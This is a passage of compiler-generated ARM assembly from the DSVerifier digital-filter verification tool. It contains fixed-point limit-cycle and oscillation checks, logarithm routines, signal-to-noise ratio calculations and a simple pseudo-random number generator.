str r3, [fp, #-24]
ldr r3, [fp, #-36]
sub r3, r3, #2
str r3, [fp, #-28]
b .L523
.L527:
ldr r3, [fp, #-28]
lsl r3, r3, #2
ldr r2, [fp, #-32]
add r3, r2, r3
ldr r3, [r3]
ldr r2, [fp, #-16]
cmp r2, r3
beq .L534
ldr r3, [fp, #-24]
add r3, r3, #1
str r3, [fp, #-24]
ldr r3, [fp, #-28]
sub r3, r3, #1
str r3, [fp, #-28]
.L523:
ldr r3, [fp, #-28]
cmp r3, #0
bge .L527
b .L526
.L534:
nop
.L526:
ldr r2, [fp, #-24]
ldr r3, [fp, #-36]
cmp r2, r3
beq .L528
ldr r3, [fp, #-24]
cmp r3, #1
beq .L528
mov r3, #1
b .L529
.L528:
mov r3, #0
.L529:
and r3, r3, #1
and r3, r3, #255
mov r0, r3
bl __DSVERIFIER_assume
ldr r1, [fp, #-24]
ldr r0, .L535
bl printf
ldr r3, [fp, #-24]
lsl r3, r3, #1
str r3, [fp, #-12]
mov r3, #0
str r3, [fp, #-20]
ldr r3, [fp, #-36]
sub r3, r3, #1
str r3, [fp, #-28]
b .L530
.L533:
ldr r2, [fp, #-36]
ldr r3, [fp, #-24]
sub r3, r2, r3
ldr r2, [fp, #-28]
cmp r2, r3
blt .L531
ldr r3, [fp, #-28]
lsl r3, r3, #2
ldr r2, [fp, #-32]
add r3, r2, r3
ldr r1, [r3]
ldr r2, [fp, #-28]
ldr r3, [fp, #-24]
sub r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-32]
add r3, r2, r3
ldr r3, [r3]
mov r2, r3
ldr r0, .L535+4
bl printf
ldr r2, [fp, #-28]
ldr r3, [fp, #-24]
sub r3, r2, r3
str r3, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #0
ble .L532
ldr r3, [fp, #-28]
lsl r3, r3, #2
ldr r2, [fp, #-32]
add r3, r2, r3
ldr r2, [r3]
ldr r1, [fp, #-28]
ldr r3, [fp, #-24]
sub r3, r1, r3
lsl r3, r3, #2
ldr r1, [fp, #-32]
add r3, r1, r3
ldr r3, [r3]
cmp r2, r3
bne .L532
ldr r3, [fp, #-20]
add r3, r3, #2
str r3, [fp, #-20]
.L531:
ldr r3, [fp, #-28]
sub r3, r3, #1
str r3, [fp, #-28]
.L530:
ldr r3, [fp, #-28]
cmp r3, #0
bge .L533
.L532:
ldr r3, [fp, #-20]
cmp r3, #0
movgt r3, #1
movle r3, #0
and r3, r3, #255
mov r0, r3
bl __DSVERIFIER_assume
ldr r1, [fp, #-12]
ldr r0, .L535+8
bl printf
ldr r1, [fp, #-20]
ldr r0, .L535+12
bl printf
ldr r2, [fp, #-20]
ldr r3, [fp, #-12]
cmp r2, r3
moveq r3, #1
movne r3, #0
and r3, r3, #255
mov r0, r3
bl __DSVERIFIER_assume
mov r0, #0
bl __DSVERIFIER_assert
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L536:
.align 2
.L535:
.word .LC15
.word .LC16
.word .LC17
.word .LC18
.size fxp_check_limit_cycle, .-fxp_check_limit_cycle
.section .rodata
.align 2
.LC28:
.word __stack_chk_guard
.text
.align 2
.global fxp_check_persistent_limit_cycle
.syntax unified
.arm
.fpu softvfp
.type fxp_check_persistent_limit_cycle, %function
fxp_check_persistent_limit_cycle:
@ args = 0, pretend = 0, frame = 48
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #52
str r0, [fp, #-56]
str r1, [fp, #-60]
ldr r3, .L557
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
mov r3, #0
str r3, [fp, #-40]
mov r3, #0
str r3, [fp, #-44]
mov r3, #0
str r3, [fp, #-36]
ldr r3, [fp, #-56]
ldr r3, [r3]
str r3, [fp, #-28]
mov r3, #0
str r3, [fp, #-40]
b .L538
.L543:
ldr r3, [fp, #-40]
lsl r3, r3, #2
ldr r2, [fp, #-56]
add r3, r2, r3
ldr r3, [r3]
ldr r2, [fp, #-28]
cmp r2, r3
beq .L539
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-36]
b .L540
.L539:
ldr r3, [fp, #-36]
cmp r3, #0
bne .L556
ldr r3, [fp, #-44]
add r3, r3, #1
str r3, [fp, #-44]
.L540:
ldr r3, [fp, #-40]
add r3, r3, #1
str r3, [fp, #-40]
.L538:
ldr r2, [fp, #-40]
ldr r3, [fp, #-60]
cmp r2, r3
blt .L543
b .L542
.L556:
nop
.L542:
ldr r2, [fp, #-36]
ldr r3, [fp, #-44]
add r3, r2, r3
str r3, [fp, #-36]
ldr r3, [fp, #-36]
cmp r3, #1
ble .L544
ldr r3, [fp, #-60]
lsr r2, r3, #31
add r3, r2, r3
asr r3, r3, #1
mov r2, r3
ldr r3, [fp, #-36]
cmp r3, r2
bgt .L544
mov r3, #1
b .L545
.L544:
mov r3, #0
.L545:
and r3, r3, #1
and r3, r3, #255
mov r0, r3
bl __DSVERIFIER_assume
ldr ip, [fp, #-36]
mov r3, sp
mov r4, r3
sub r3, ip, #1
str r3, [fp, #-24]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
mov r3, sp
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-20]
mov r3, #0
str r3, [fp, #-40]
b .L546
.L548:
ldr r2, [fp, #-40]
ldr r3, [fp, #-36]
cmp r2, r3
bge .L547
ldr r3, [fp, #-40]
lsl r3, r3, #2
ldr r2, [fp, #-56]
add r3, r2, r3
ldr r1, [r3]
ldr r3, [fp, #-20]
ldr r2, [fp, #-40]
str r1, [r3, r2, lsl #2]
.L547:
ldr r3, [fp, #-40]
add r3, r3, #1
str r3, [fp, #-40]
.L546:
ldr r2, [fp, #-40]
ldr r3, [fp, #-60]
cmp r2, r3
blt .L548
mov r3, #0
str r3, [fp, #-40]
mov r3, #0
str r3, [fp, #-32]
mov r3, #0
strb r3, [fp, #-45]
b .L549
.L553:
ldr r3, [fp, #-40]
add r2, r3, #1
str r2, [fp, #-40]
lsl r3, r3, #2
ldr r2, [fp, #-56]
add r3, r2, r3
ldr r2, [r3]
ldr r3, [fp, #-32]
add r1, r3, #1
str r1, [fp, #-32]
ldr r1, [fp, #-20]
ldr r3, [r1, r3, lsl #2]
cmp r2, r3
bne .L550
mov r3, #1
strb r3, [fp, #-45]
ldr r2, [fp, #-32]
ldr r3, [fp, #-36]
cmp r2, r3
bne .L549
b .L555
.L550:
mov r3, #0
strb r3, [fp, #-45]
b .L552
.L555:
mov r3, #0
str r3, [fp, #-32]
.L549:
ldr r2, [fp, #-40]
ldr r3, [fp, #-60]
cmp r2, r3
blt .L553
.L552:
ldrb r3, [fp, #-45] @ zero_extendqisi2
cmp r3, #0
movne r3, #1
moveq r3, #0
and r3, r3, #255
eor r3, r3, #1
and r3, r3, #255
and r3, r3, #1
and r3, r3, #255
mov r0, r3
bl __DSVERIFIER_assert
mov sp, r4
nop
ldr r3, .L557
ldr r2, [r3]
ldr r3, [fp, #-16]
eors r2, r3, r2
mov r3, #0
beq .L554
bl __stack_chk_fail
.L554:
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L558:
.align 2
.L557:
.word .LC28
.size fxp_check_persistent_limit_cycle, .-fxp_check_persistent_limit_cycle
.align 2
.global fxp_check_oscillations
.syntax unified
.arm
.fpu softvfp
.type fxp_check_oscillations, %function
fxp_check_oscillations:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #32
str r0, [fp, #-32]
str r1, [fp, #-36]
ldr r3, [fp, #-32]
ldr r2, [r3]
ldr r3, [fp, #-36]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r1, [fp, #-32]
add r3, r1, r3
ldr r3, [r3]
cmp r2, r3
beq .L560
ldr r3, [fp, #-36]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-32]
add r3, r2, r3
ldr r2, [r3]
ldr r3, [fp, #-36]
sub r3, r3, #-1073741822
lsl r3, r3, #2
ldr r1, [fp, #-32]
add r3, r1, r3
ldr r3, [r3]
cmp r2, r3
beq .L560
mov r3, #1
b .L561
.L560:
mov r3, #0
.L561:
and r3, r3, #1
and r3, r3, #255
mov r0, r3
bl __DSVERIFIER_assume
mov r3, #0
str r3, [fp, #-28]
mov r3, #0
str r3, [fp, #-24]
mov r3, #2
str r3, [fp, #-20]
b .L562
.L569:
ldr r3, [fp, #-20]
str r3, [fp, #-12]
mov r3, #0
str r3, [fp, #-16]
b .L563
.L568:
ldr r2, [fp, #-28]
ldr r3, [fp, #-12]
cmp r2, r3
ble .L564
mov r3, #0
str r3, [fp, #-28]
mov r3, #0
str r3, [fp, #-24]
.L564:
ldr r2, [fp, #-16]
ldr r3, [fp, #-12]
add r3, r2, r3
str r3, [fp, #-8]
ldr r2, [fp, #-8]
ldr r3, [fp, #-36]
cmp r2, r3
bge .L570
ldr r3, [fp, #-16]
lsl r3, r3, #2
ldr r2, [fp, #-32]
add r3, r2, r3
ldr r2, [r3]
ldr r3, [fp, #-8]
lsl r3, r3, #2
ldr r1, [fp, #-32]
add r3, r1, r3
ldr r3, [r3]
cmp r2, r3
bne .L566
ldr r3, [fp, #-24]
add r3, r3, #1
str r3, [fp, #-24]
ldr r2, [fp, #-24]
ldr r3, [fp, #-12]
cmp r2, r3
movne r3, #1
moveq r3, #0
and r3, r3, #255
mov r0, r3
bl __DSVERIFIER_assert
.L566:
ldr r3, [fp, #-28]
add r3, r3, #1
str r3, [fp, #-28]
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
.L563:
ldr r2, [fp, #-16]
ldr r3, [fp, #-36]
cmp r2, r3
blt .L568
b .L567
.L570:
nop
.L567:
ldr r3, [fp, #-20]
add r3, r3, #1
str r3, [fp, #-20]
.L562:
ldr r2, [fp, #-20]
ldr r3, [fp, #-36]
cmp r2, r3
blt .L569
nop
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size fxp_check_oscillations, .-fxp_check_oscillations
.align 2
.global fxp_ln
.syntax unified
.arm
.fpu softvfp
.type fxp_ln, %function
fxp_ln:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #20
str r0, [fp, #-16]
ldr r3, .L585
str r3, [fp, #-12]
ldr r3, [fp, #-16]
cmp r3, #32768
bge .L572
ldr r3, [fp, #-16]
lsl r3, r3, #16
str r3, [fp, #-16]
ldr r2, [fp, #-12]
ldr r3, .L585+4
add r3, r2, r3
str r3, [fp, #-12]
.L572:
ldr r3, [fp, #-16]
cmp r3, #8388608
bge .L573
ldr r3, [fp, #-16]
lsl r3, r3, #8
str r3, [fp, #-16]
ldr r2, [fp, #-12]
ldr r3, .L585+8
add r3, r2, r3
str r3, [fp, #-12]
.L573:
ldr r3, [fp, #-16]
cmn r3, #-134217727
bgt .L574
ldr r3, [fp, #-16]
lsl r3, r3, #4
str r3, [fp, #-16]
ldr r3, [fp, #-12]
sub r3, r3, #181248
sub r3, r3, #456
str r3, [fp, #-12]
.L574:
ldr r3, [fp, #-16]
cmn r3, #-536870911
bgt .L575
ldr r3, [fp, #-16]
lsl r3, r3, #2
str r3, [fp, #-16]
ldr r3, [fp, #-12]
sub r3, r3, #90112
sub r3, r3, #740
str r3, [fp, #-12]
.L575:
ldr r3, [fp, #-16]
cmn r3, #-1073741823
bgt .L576
ldr r3, [fp, #-16]
lsl r3, r3, #1
str r3, [fp, #-16]
ldr r3, [fp, #-12]
sub r3, r3, #45312
sub r3, r3, #114
str r3, [fp, #-12]
.L576:
ldr r3, [fp, #-16]
asr r3, r3, #1
ldr r2, [fp, #-16]
add r3, r2, r3
str r3, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #0
blt .L577
ldr r3, [fp, #-8]
str r3, [fp, #-16]
ldr r3, [fp, #-12]
sub r3, r3, #26368
sub r3, r3, #205
str r3, [fp, #-12]
.L577:
ldr r3, [fp, #-16]
asr r3, r3, #2
ldr r2, [fp, #-16]
add r3, r2, r3
str r3, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #0
blt .L578
ldr r3, [fp, #-8]
str r3, [fp, #-16]
ldr r3, [fp, #-12]
sub r3, r3, #14592
sub r3, r3, #32
str r3, [fp, #-12]
.L578:
ldr r3, [fp, #-16]
asr r3, r3, #3
ldr r2, [fp, #-16]
add r3, r2, r3
str r3, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #0
blt .L579
ldr r3, [fp, #-8]
str r3, [fp, #-16]
ldr r3, [fp, #-12]
sub r3, r3, #7680
sub r3, r3, #39
str r3, [fp, #-12]
.L579:
ldr r3, [fp, #-16]
asr r3, r3, #4
ldr r2, [fp, #-16]
add r3, r2, r3
str r3, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #0
blt .L580
ldr r3, [fp, #-8]
str r3, [fp, #-16]
ldr r3, [fp, #-12]
sub r3, r3, #3968
sub r3, r3, #5
str r3, [fp, #-12]
.L580:
ldr r3, [fp, #-16]
asr r3, r3, #5
ldr r2, [fp, #-16]
add r3, r2, r3
str r3, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #0
blt .L581
ldr r3, [fp, #-8]
str r3, [fp, #-16]
ldr r3, [fp, #-12]
sub r3, r3, #2016
sub r3, r3, #1
str r3, [fp, #-12]
.L581:
ldr r3, [fp, #-16]
asr r3, r3, #6
ldr r2, [fp, #-16]
add r3, r2, r3
str r3, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #0
blt .L582
ldr r3, [fp, #-8]
str r3, [fp, #-16]
ldr r3, [fp, #-12]
sub r3, r3, #1016
str r3, [fp, #-12]
.L582:
ldr r3, [fp, #-16]
asr r3, r3, #7
ldr r2, [fp, #-16]
add r3, r2, r3
str r3, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #0
blt .L583
ldr r3, [fp, #-8]
str r3, [fp, #-16]
ldr r3, [fp, #-12]
sub r3, r3, #508
sub r3, r3, #2
str r3, [fp, #-12]
.L583:
ldr r3, [fp, #-16]
rsb r3, r3, #-2147483648
str r3, [fp, #-16]
ldr r3, [fp, #-16]
asr r3, r3, #15
ldr r2, [fp, #-12]
sub r3, r2, r3
str r3, [fp, #-12]
ldr r3, [fp, #-12]
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.L586:
.align 2
.L585:
.word 681391
.word -726817
.word -363409
.size fxp_ln, .-fxp_ln
.align 2
.global fxp_log10_low
.syntax unified
.arm
.fpu softvfp
.type fxp_log10_low, %function
fxp_log10_low:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #24
str r0, [fp, #-36]
str r1, [fp, #-32]
mov r2, #0
ldr r3, .L589
sub r1, fp, #36
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
mov r2, #0
ldr r3, .L589+4
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl __aeabi_d2iz
mov r3, r0
str r3, [fp, #-24]
ldr r0, [fp, #-24]
bl fxp_ln
str r0, [fp, #-20]
mov r0, #655360
bl fxp_ln
str r0, [fp, #-16]
ldr r0, [fp, #-20]
bl __aeabi_i2d
mov r4, r0
mov r5, r1
ldr r0, [fp, #-16]
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L590:
.align 2
.L589:
.word 1089470464
.word 1071644672
.size fxp_log10_low, .-fxp_log10_low
.align 2
.global fxp_log10
.syntax unified
.arm
.fpu softvfp
.type fxp_log10, %function
fxp_log10:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-12]
str r1, [fp, #-8]
mov r2, #0
ldr r3, .L601
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L599
mov r2, #8388608
ldr r3, .L601+4
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L600
mov r2, #8388608
ldr r3, .L601+4
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
str r2, [fp, #-12]
str r3, [fp, #-8]
sub r1, fp, #12
ldmia r1, {r0-r1}
bl fxp_log10_low
ldr r2, .L601+8
ldr r3, .L601+12
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L596
.L600:
mov r2, #0
ldr r3, .L601
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
str r2, [fp, #-12]
str r3, [fp, #-8]
sub r1, fp, #12
ldmia r1, {r0-r1}
bl fxp_log10_low
ldr r2, .L601+8
ldr r3, .L601+16
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L596
.L599:
sub r1, fp, #12
ldmia r1, {r0-r1}
bl fxp_log10_low
mov r2, r0
mov r3, r1
.L596:
mov r0, r2
mov r1, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L602:
.align 2
.L601:
.word 1088421824
.word 1104150400
.word -1574947053
.word 1075974094
.word 1074925518
.size fxp_log10, .-fxp_log10
.section .rodata
.align 2
.LC29:
.ascii "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4"
.ascii ".0-cbmc-5.6/bmc/core/functions.h\000"
.align 2
.LC30:
.ascii "sv >= nv\000"
.text
.align 2
.global snrVariance
.syntax unified
.arm
.fpu softvfp
.type snrVariance, %function
snrVariance:
@ args = 0, pretend = 0, frame = 64
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #64
str r0, [fp, #-64]
str r1, [fp, #-68]
str r2, [fp, #-72]
mov r2, #0
mov r3, #0
str r2, [fp, #-52]
str r3, [fp, #-48]
mov r2, #0
mov r3, #0
str r2, [fp, #-44]
str r3, [fp, #-40]
mov r2, #0
mov r3, #0
str r2, [fp, #-36]
str r3, [fp, #-32]
mov r2, #0
mov r3, #0
str r2, [fp, #-28]
str r3, [fp, #-24]
mov r3, #0
str r3, [fp, #-56]
b .L604
.L605:
ldr r3, [fp, #-56]
lsl r3, r3, #2
ldr r2, [fp, #-64]
add r3, r2, r3
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, r0
mov r3, r1
sub r1, fp, #52
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-52]
str r3, [fp, #-48]
ldr r3, [fp, #-56]
lsl r3, r3, #2
ldr r2, [fp, #-68]
add r3, r2, r3
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, r0
mov r3, r1
sub r1, fp, #44
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-44]
str r3, [fp, #-40]
ldr r3, [fp, #-56]
add r3, r3, #1
str r3, [fp, #-56]
.L604:
ldr r2, [fp, #-56]
ldr r3, [fp, #-72]
cmp r2, r3
blt .L605
ldr r0, [fp, #-72]
bl __aeabi_i2d
mov r2, r0
mov r3, r1
sub r1, fp, #52
ldmia r1, {r0-r1}
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
str r2, [fp, #-52]
str r3, [fp, #-48]
ldr r0, [fp, #-72]
bl __aeabi_i2d
mov r2, r0
mov r3, r1
sub r1, fp, #44
ldmia r1, {r0-r1}
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
str r2, [fp, #-44]
str r3, [fp, #-40]
mov r3, #0
str r3, [fp, #-56]
b .L606
.L607:
ldr r3, [fp, #-56]
lsl r3, r3, #2
ldr r2, [fp, #-64]
add r3, r2, r3
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
sub r3, fp, #52
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, [fp, #-56]
lsl r3, r3, #2
ldr r2, [fp, #-64]
add r3, r2, r3
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
sub r3, fp, #52
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dmul
mov r2, r0
mov r3, r1
sub r1, fp, #36
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-36]
str r3, [fp, #-32]
ldr r3, [fp, #-56]
lsl r3, r3, #2
ldr r2, [fp, #-68]
add r3, r2, r3
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
sub r3, fp, #44
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, [fp, #-56]
lsl r3, r3, #2
ldr r2, [fp, #-68]
add r3, r2, r3
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
sub r3, fp, #44
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dmul
mov r2, r0
mov r3, r1
sub r1, fp, #28
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r3, [fp, #-56]
add r3, r3, #1
str r3, [fp, #-56]
.L606:
ldr r2, [fp, #-56]
ldr r3, [fp, #-72]
cmp r2, r3
blt .L607
mov r2, #0
mov r3, #0
sub r1, fp, #28
ldmia r1, {r0-r1}
bl __aeabi_dcmpeq
mov r3, r0
cmp r3, #0
bne .L613
sub r3, fp, #28
ldmia r3, {r2-r3}
sub r1, fp, #36
ldmia r1, {r0-r1}
bl __aeabi_dcmpge
mov r3, r0
cmp r3, #0
bne .L610
ldr r3, .L614
ldr r2, .L614+4
ldr r1, .L614+8
ldr r0, .L614+12
bl __assert_fail
.L610:
sub r3, fp, #28
ldmia r3, {r2-r3}
sub r1, fp, #36
ldmia r1, {r0-r1}
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
str r2, [fp, #-20]
str r3, [fp, #-16]
sub r1, fp, #20
ldmia r1, {r0-r1}
bl __aeabi_d2f
mov r3, r0
b .L611
.L613:
ldr r3, .L614+16
.L611:
mov r0, r3
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L615:
.align 2
.L614:
.word __PRETTY_FUNCTION__.6126
.word 373
.word .LC29
.word .LC30
.word 1176256410
.size snrVariance, .-snrVariance
.global __aeabi_fmul
.align 2
.global snrPower
.syntax unified
.arm
.fpu softvfp
.type snrPower, %function
snrPower:
@ args = 0, pretend = 0, frame = 48
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #48
str r0, [fp, #-40]
str r1, [fp, #-44]
str r2, [fp, #-48]
mov r2, #0
mov r3, #0
str r2, [fp, #-28]
str r3, [fp, #-24]
mov r2, #0
mov r3, #0
str r2, [fp, #-20]
str r3, [fp, #-16]
mov r3, #0
str r3, [fp, #-32]
b .L617
.L618:
ldr r3, [fp, #-32]
lsl r3, r3, #2
ldr r2, [fp, #-40]
add r3, r2, r3
ldr r0, [r3] @ float
ldr r3, [fp, #-32]
lsl r3, r3, #2
ldr r2, [fp, #-40]
add r3, r2, r3
ldr r3, [r3] @ float
mov r1, r3
bl __aeabi_fmul
mov r3, r0
mov r0, r3
bl __aeabi_f2d
mov r2, r0
mov r3, r1
sub r1, fp, #28
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r3, [fp, #-32]
lsl r3, r3, #2
ldr r2, [fp, #-44]
add r3, r2, r3
ldr r0, [r3] @ float
ldr r3, [fp, #-32]
lsl r3, r3, #2
ldr r2, [fp, #-44]
add r3, r2, r3
ldr r3, [r3] @ float
mov r1, r3
bl __aeabi_fmul
mov r3, r0
mov r0, r3
bl __aeabi_f2d
mov r2, r0
mov r3, r1
sub r1, fp, #20
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-20]
str r3, [fp, #-16]
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
.L617:
ldr r2, [fp, #-32]
ldr r3, [fp, #-48]
cmp r2, r3
blt .L618
mov r2, #0
mov r3, #0
sub r1, fp, #20
ldmia r1, {r0-r1}
bl __aeabi_dcmpeq
mov r3, r0
cmp r3, #0
bne .L624
sub r3, fp, #20
ldmia r3, {r2-r3}
sub r1, fp, #28
ldmia r1, {r0-r1}
bl __aeabi_dcmpge
mov r3, r0
cmp r3, #0
bne .L621
ldr r3, .L625
ldr r2, .L625+4
ldr r1, .L625+8
ldr r0, .L625+12
bl __assert_fail
.L621:
sub r3, fp, #20
ldmia r3, {r2-r3}
sub r1, fp, #28
ldmia r1, {r0-r1}
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
str r2, [fp, #-12]
str r3, [fp, #-8]
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_d2f
mov r3, r0
b .L622
.L624:
ldr r3, .L625+16
.L622:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L626:
.align 2
.L625:
.word __PRETTY_FUNCTION__.6139
.word 394
.word .LC29
.word .LC30
.word 1176256410
.size snrPower, .-snrPower
.global __aeabi_fcmpeq
.global __aeabi_fdiv
.section .rodata
.align 2
.LC31:
.ascii "power >= 1.0f\000"
.text
.align 2
.global snrPoint
.syntax unified
.arm
.fpu softvfp
.type snrPoint, %function
snrPoint:
@ args = 0, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #40
str r0, [fp, #-32]
str r1, [fp, #-36]
str r2, [fp, #-40]
mov r2, #0
mov r3, #0
str r2, [fp, #-20]
str r3, [fp, #-16]
mov r2, #0
mov r3, #0
str r2, [fp, #-12]
str r3, [fp, #-8]
mov r3, #0
str r3, [fp, #-24]
b .L628
.L635:
ldr r3, [fp, #-24]
lsl r3, r3, #2
ldr r2, [fp, #-36]
add r3, r2, r3
ldr r3, [r3] @ float
mov r1, #0
mov r0, r3
bl __aeabi_fcmpeq
mov r3, r0
cmp r3, #0
bne .L637
ldr r3, [fp, #-24]
lsl r3, r3, #2
ldr r2, [fp, #-32]
add r3, r2, r3
ldr r0, [r3] @ float
ldr r3, [fp, #-24]
lsl r3, r3, #2
ldr r2, [fp, #-36]
add r3, r2, r3
ldr r3, [r3] @ float
mov r1, r3
bl __aeabi_fdiv
mov r3, r0
mov r0, r3
bl __aeabi_f2d
mov r2, r0
mov r3, r1
str r2, [fp, #-20]
str r3, [fp, #-16]
mov r2, #0
ldr r3, .L639
sub r1, fp, #20
ldmia r1, {r0-r1}
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
bne .L638
mov r2, #0
ldr r3, .L639+4
sub r1, fp, #20
ldmia r1, {r0-r1}
bl __aeabi_dcmplt
mov r3, r0
cmp r3, #0
bne .L638
sub r3, fp, #20
ldmia r3, {r2-r3}
sub r1, fp, #20
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-12]
str r3, [fp, #-8]
mov r2, #0
ldr r3, .L639+8
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_dcmpge
mov r3, r0
cmp r3, #0
bne .L631
ldr r3, .L639+12
mov r2, #412
ldr r1, .L639+16
ldr r0, .L639+20
bl __assert_fail
.L637:
nop
b .L631
.L638:
nop
.L631:
ldr r3, [fp, #-24]
add r3, r3, #1
str r3, [fp, #-24]
.L628:
ldr r2, [fp, #-24]
ldr r3, [fp, #-40]
cmp r2, r3
blt .L635
ldr r3, .L639+24
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L640:
.align 2
.L639:
.word 1080213504
.word -1067270144
.word 1072693248
.word __PRETTY_FUNCTION__.6149
.word .LC29
.word .LC31
.word 1176256410
.size snrPoint, .-snrPoint
.global next
.data
.align 2
.type next, %object
.size next, 4
next:
.word 1
.text
.align 2
.global rand
.syntax unified
.arm
.fpu softvfp
.type rand, %function
rand:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
ldr r3, .L643
ldr r3, [r3]
ldr r2, .L643+4
mul r3, r2, r3
add r3, r3, #12288
add r3, r3, #57
ldr r2, .L643
str r3, [r2]
ldr r3, .L643
ldr r3, [r3]
lsr r3, r3, #16
lsl r3, r3, #17
lsr r3, r3, #17
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.L644:
.align 2
.L643:
.word next
.word 1103515245
.size rand, .-rand
.align 2
.global srand
.syntax unified
.arm
.fpu softvfp
